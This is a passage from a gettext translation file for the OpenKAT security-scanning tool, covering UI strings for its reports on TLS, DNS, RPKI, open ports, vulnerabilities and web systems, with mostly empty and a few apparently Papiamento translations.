compliant\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"No mailservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.py\nmsgid \"Mail Report\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.py\nmsgid \"\"\n\"System specific Mail Report that focusses on IP addresses and hostnames.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Overview of included assets\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Asset\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"Amount\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"IP addresses\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Domain names\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Assets with most critical vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Vulnerability\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Organisation\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"No vulnerabilities found.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"Overview of safe connections\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"Only Safe Ciphers\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"services are compliant\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"System specific checks\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"IPv6\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"\"\n\"IPv6 includes improvements in security features compared to IPv4. While IPv4 \"\n\"can implement security measures, IPv6 was designed with security in mind, \"\n\"and its adoption can contribute to a more secure internet.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"In total \"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \" out of \"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \" systems have an IPv6 connection.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"Overview of IP version compliance\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"\"\n\"See an overview of open ports found over all systems and the services these \"\n\"systems provide.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"Overview of detected open ports\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\n#: reports/report_types/open_ports_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Open ports\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"Occurrences (IP addresses)\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\n#: reports/templates/summary/service_health.html\nmsgid \"Services\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"No open ports found.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/recommendations.html\nmsgid \"Overview of recommendations\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/recommendations.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Occurrence\"\nmsgstr \"Occurencia\"\n\n#: reports/report_types/multi_organization_report/report.html\nmsgid \"No findings have been identified yet.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/report.py\nmsgid \"Multi Organization Report\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/summary.html\nmsgid \"Best scoring security check\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/summary.html\nmsgid \"Worst scoring security check\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"\"\n\"Vulnerabilities found are grouped per system. Here, we only consider CVE \"\n\"vulnerabilities.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"Vulnerabilities grouped per system\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"total\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"\"\n\"The Name Server Report provides an overview of the compliance checks that \"\n\"were performed against the identified Domain Name Servers (DNS). The \"\n\"compliance checks verify the presence and validity of DNSSEC and whether no \"\n\"unnecessary ports were identified to be open. The table below gives an \"\n\"overview of the available checks including whether the system passed the \"\n\"performed checks. The risk level and reasoning as to why an issue was \"\n\"identified are shown too. The risk level may be different for your specific \"\n\"environment.\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"Name server compliance\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"DNSSEC Present\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"name servers compliant\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"Valid DNSSEC\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"No unnecessary ports open\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"No nameservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.py\nmsgid \"Name Server Report\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.py\nmsgid \"Name Server Report checks name servers on basic security standards.\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"\"\n\"The Open Ports Report provides an overview of the open ports identified on a \"\n\"system. The ports that are marked as <b>bold</b> were identified by direct \"\n\"scans performed by OpenKAT (such as nmap). Ports that are not marked in bold \"\n\"were identified through external services and/or scans (such as Shodan). \"\n\"Scans with the same hostnames, ports and IPs are merged.\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Overview of open ports found for the scanned assets\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\n#: reports/report_types/systems_report/report.html\nmsgid \"IP address\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Hostnames\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Direct scan\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.py\nmsgid \"Open Ports Report\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.py\nmsgid \"Find open ports of IP addresses\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"\"\n\"This section contains basic security information about Resource Public Key \"\n\"Infrastructure (RPKI). If your web server employs RPKI for its IP addresses \"\n\"and associated nameservers, then it enhances visitor protection against \"\n\"misconfigurations and malicious route intercepts through verified route \"\n\"announcements, ensuring reliable server access and secure internet traffic.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"\"\n\"The RPKI Report shows if an RPKI route announcement was available for the \"\n\"system and if this announcement is not expired.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI compliance\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI Available\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI valid\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI record is not valid.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI record does not exist.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"No IPs have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.py\nmsgid \"RPKI Report\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.py\nmsgid \"\"\n\"Shows whether the IP is covered by a valid RPKI ROA. For a hostname it shows \"\n\"the IP addresses and whether they are covered by a valid RPKI ROA.\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"\"\n\"The Safe Connections report provides an overview of the performed checks \"\n\"with regard to encrypted communication channels such as HTTPS. The table \"\n\"below gives an overview of the available checks including whether the system \"\n\"passed the performed checks. The risk level and reasoning as to why an issue \"\n\"was identified are shown too. The risk level may be different for your \"\n\"specific environment.\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"Safe connections compliance\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.py\nmsgid \"Safe Connections Report\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.py\nmsgid \"Shows whether the IPService contains safe ciphers.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"\"\n\"The System Report provides an overview of the system types (types of similar \"\n\"services) that were identified for each system. The following system types \"\n\"can be identified: DNS servers, Web servers, Mail servers and those \"\n\"classified as 'Other' servers. Each hostname and/or IP address is given one \"\n\"or more system types depending on the identified ports and services. The \"\n\"table below gives an overview of these results.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"Selected assets\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"No system types have been identified on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.py\nmsgid \"System Report\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.py\nmsgid \"Combine IP addresses, hostnames and services into systems.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The TLS Report shows which TLS protocols and ciphers were identified on the \"\n\"host for the provided port.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The table below provides an overview of the identified TLS protocols and \"\n\"ciphers, including a status suggestion.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Ciphers\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Protocol\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Encryption Algorithm\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Bits\"\nmsgstr \"Bits\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Key Size\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Code\"\nmsgstr \"Código\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Phase out\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Good\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"No ciphers were found for this combination of IP address, port and service.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The list below gives an overview of the findings based on the identified TLS \"\n\"protocols and ciphers. This includes the reasoning why the cipher or \"\n\"protocol is marked as a finding.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.py\nmsgid \"TLS Report\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.py\nmsgid \"\"\n\"TLS Report assesses the security of data encryption and transmission \"\n\"protocols.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"No vulnerabilities have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"\"\n\"The Vulnerability Report provides an overview of all identified CVE \"\n\"vulnerabilities that were identified on the selected systems. For each CVE \"\n\"the table shows the CVE scoring, the number of occurrences, and the CVE \"\n\"details.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"vulnerabilities on this system\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"Advice\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Vulnerability Report\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Vulnerabilities found are grouped for each system.\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"First seen\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Last seen\"\nmsgstr \"\"\n\n#: reports/report_types/vulnerability_report/report.py\nmsgid \"Evidence\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"\"\n\"The Web System Report provides an overview of various web server checks that \"\n\"were performed against the scanned system(s). For each performed check the \"\n\"table below shows whether or not the server is compliant with the checks. A \"\n\"description of why this compliant check failed is also shown, including an \"\n\"general risk level. The risk level may be different for your specific \"\n\"environment.\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Web system compliance\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"CSP Present\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"webservers compliant\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Secure CSP Header\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Redirects HTTP to HTTPS\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Offers HTTPS\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Has a Security.txt\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Has a certificate\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Certificate is valid\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"Certificate is not expiring soon\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.html\nmsgid \"No webservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.py\nmsgid \"Web System Report\"\nmsgstr \"\"\n\n#: reports/report_types/web_system_report/report.py\nmsgid \"Web System Reports check web systems on basic security standards.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\nmsgid \"Report schedule\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\nmsgid \"\"\n\"When scheduling your report, you have two options. You can either choose to \"\n\"generate it just once now, or set it to run automatically at regular \"\n\"intervals, like daily, weekly, or monthly. If you need the report just for a \"\n\"single occasion, select the one-time option.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Report name\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#, python-format, python-brace-format\nmsgid \"\"\n\"When generating reports, it is possible to give the report a name. The name \"\n\"can be static or dynamic. The default format for a report is '${report_type} \"\n\"for ${oois_count} objects'. These placeholders automatically adapt based on \"\n\"the report details. This format could for example return 'Aggregate Report \"\n\"for 15 objects'. Another placeholder that can be used is '${ooi}', which \"\n\"will show the name of the object when there is only one object. You can also \"\n\"customize the name by adding prefixes, suffixes, or other formats like '%%W' \"\n\"for the week number, using options from <a href=\\\"https://strftime.org/\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\">Python strftime code</a>.\"\nmsgstr \"\"\n\n#: reports/templates/partials/export_report_settings.html\n#: reports/templates/partials/generate_report_header.html\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/generate_report.py\nmsgid \"Generate report\"\nmsgstr \"Generá rapòrt\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate an aggregate report, complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate a multi report, complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_header.html\nmsgid \"To generate separate report(s), complete the following steps.\"\nmsgstr \"\"\n\n#: reports/templates/partials/generate_report_sidemenu.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Table of contents\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\nmsgid \"Actions for creating a new report\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\nmsgid \"Separate report(s)\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/aggregate_report.py\nmsgid \"Aggregate report\"\nmsgstr \"\"\n\n#: reports/templates/partials/new_report_action_button.html\n#: reports/views/multi_report.py\nmsgid \"Multi report\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_sidemenu.html\n#: rocky/templates/oois/ooi_page_tabs.html\nmsgid \"Overview\"\nmsgstr \"Resúmen\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Plugin overview table\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Required plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Suggested plugins\"\nmsgstr \"Plugins sugerí\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Action required\"\nmsgstr \"\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Ready\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"\"\n\"This table provides an overview of the identified findings on the scanned \"\n\"systems. For each finding type it shows the risk level, the number of \"\n\"occurrences and the first known occurrence of the finding. The risk level \"\n\"may be different for your specific environment. The details can be seen when \"\n\"expanding a row. A description, the source, impact and recommendation of the \"\n\"finding can be found here. It also shows in which findings the finding type \"\n\"occurred.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"First known occurrence\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"Open in report\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"\"\n\"No critical and high findings have been identified for this organization.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"No findings have been identified for this organization.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Download as PDF\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Download as JSON\"\nmsgstr \"Download komo JSON\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Open asset reports\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"This is the OpenKAT report for organization\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"\"\n\"All selected report types for the selected objects are displayed one below \"\n\"the other.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created with data from:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created on:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created from recipe:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Recipe created by:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#, python-format\nmsgid \"This sector contains %(length)s scanned organizations.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Of these organizations\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"organizations have tag\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"The basic security scores are around \"\nmsgstr \"\"\n\n#: reports/templates/partials/report_header.html\n#, python-format\nmsgid \"A total of %(total)s critical vulnerabilities have been identified.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_introduction.html\nmsgid \"Introduction\"\nmsgstr \"Introdukshon\"\n\n#: reports/templates/partials/report_introduction.html\nmsgid \"\"\n\"This report gives an overview of the current state of security for your \"\n\"organisation for the selected date. The summary section provides an overview \"\n\"of the selected systems (objects), plugins and reports. This is followed \"\n\"with the findings for each report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Report names:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\n#: rocky/templates/forms/widgets/checkbox_group_table.html\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/form/field_input.html\n#: rocky/templates/partials/form/field_input_checkbox.html\n#: rocky/templates/partials/form/field_input_multiselect.html\n#: rocky/templates/partials/form/field_input_radio.html\nmsgid \"Required\"\nmsgstr \"Requerido\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Add reference date\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\nmsgid \"Reset\"\nmsgstr \"Resèt\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"No reference date\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Day\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Week\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Month\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Year\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Object selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Select which objects you want to include in your report. You can either \"\n\"continue with a live set or you can select the objects manually from the \"\n\"table below.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"A live set is a set of objects based on the applied filters. Any object that \"\n\"matches this applied filter (now or in the future) will be used as input for \"\n\"the scheduled report. If your live set filter (e.g. 'hostnames' with 'L2 \"\n\"clearance' that are 'declared') shows 2 hostnames that match the filter \"\n\"today, the scheduled report will run for those 2 hostnames. If you add 3 \"\n\"more hostnames tomorrow (with the same filter criteria), your next scheduled \"\n\"report will contain 5 hostnames. Your live set will update as you go.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Based on the current dataset, your selected filters result in the following \"\n\"objects.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"objects selected\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Deselect all objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\n#: rocky/templates/oois/ooi_list.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s objects\"\nmsgstr \"Mustrando %(length)s di %(total)s ophetonan\"\n\n#: reports/templates/partials/report_ooi_list.html\n#, python-format\nmsgid \"Select all %(total_oois)s object\"\nmsgid_plural \"Select all %(total_oois)s objects\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Object name\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Report(s) may be empty due to no objects in the selected filters.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Reports matching the selected filters will be empty at this moment in time. \"\n\"Future reports may contain data. It is still possible to generate the \"\n\"(potentially empty) report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Continue with live set\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Continue with selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Configuration\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Set up the required plugins for this report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"KAT will be able to generate a full report when all the required and \"\n\"suggested boefjes are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"If you choose not to enable a plugin, the data that plugin would collect or \"\n\"produce will be left out of the report which will then be generated based on \"\n\"the available data collected by the enabled plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"Some plugins are mandatory as they are crucial for a report type. Reports \"\n\"that don't have their requirements met will be skipped.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Warning! Before you proceed read the following points:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"OpenKAT is designed to scan all known objects on a regular basis using the \"\n\"enabled plugins and set clearance levels. This means that scans will run \"\n\"automatically. Be patient; plugins may take some time before they have \"\n\"collected all their data. Enabling them just before report generation will \"\n\"likely result in inaccurate reports, as plugins have not finished collecting \"\n\"data.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Good job! All required plugins are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"This report type requires the following plugins to be enabled:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Toggle all required plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Show enabled plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"There are no required plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Good job! All suggested plugins are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"The following plugins are optional to generate the report:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Toggle all optional plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Hide suggested plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Show more suggested plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"There are no optional plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Enable selected plugins and continue\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"\"\n\"\\n\"\n\"            This overview shows the total number of findings per\\n\"\n\"            severity that have been identified for this organization.\\n\"\n\"        \"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Total per severity overview\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Critical\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"High\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Medium\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Low\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Pending\"\nmsgstr \"Pendiente\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Unknown\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Total\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Selected Objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Selected Plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Used Config Objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Choose report types\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"\"\n\"Various types of reports, such as DNS reports and TLS reports, are essential \"\n\"for identifying vulnerabilities in different aspects of a system's security. \"\n\"DNS reports focus on domain name system configuration and potential \"\n\"weaknesses, while TLS reports assess the security of data encryption and \"\n\"transmission protocols, helping organizations pinpoint areas where security \"\n\"improvements are needed.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"Selected object (%(total_oois)s)\"\nmsgid_plural \"Selected objects (%(total_oois)s)\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"\"\n\"You have selected a live set in the previous step. Based on the current \"\n\"dataset, this live set results in %(total_oois)s objects.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Applied filters:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"You have selected %(total_oois)s object in the previous step.\"\nmsgid_plural \"You have selected %(total_oois)s objects in the previous step.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Change selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Available report types\"\nmsgstr 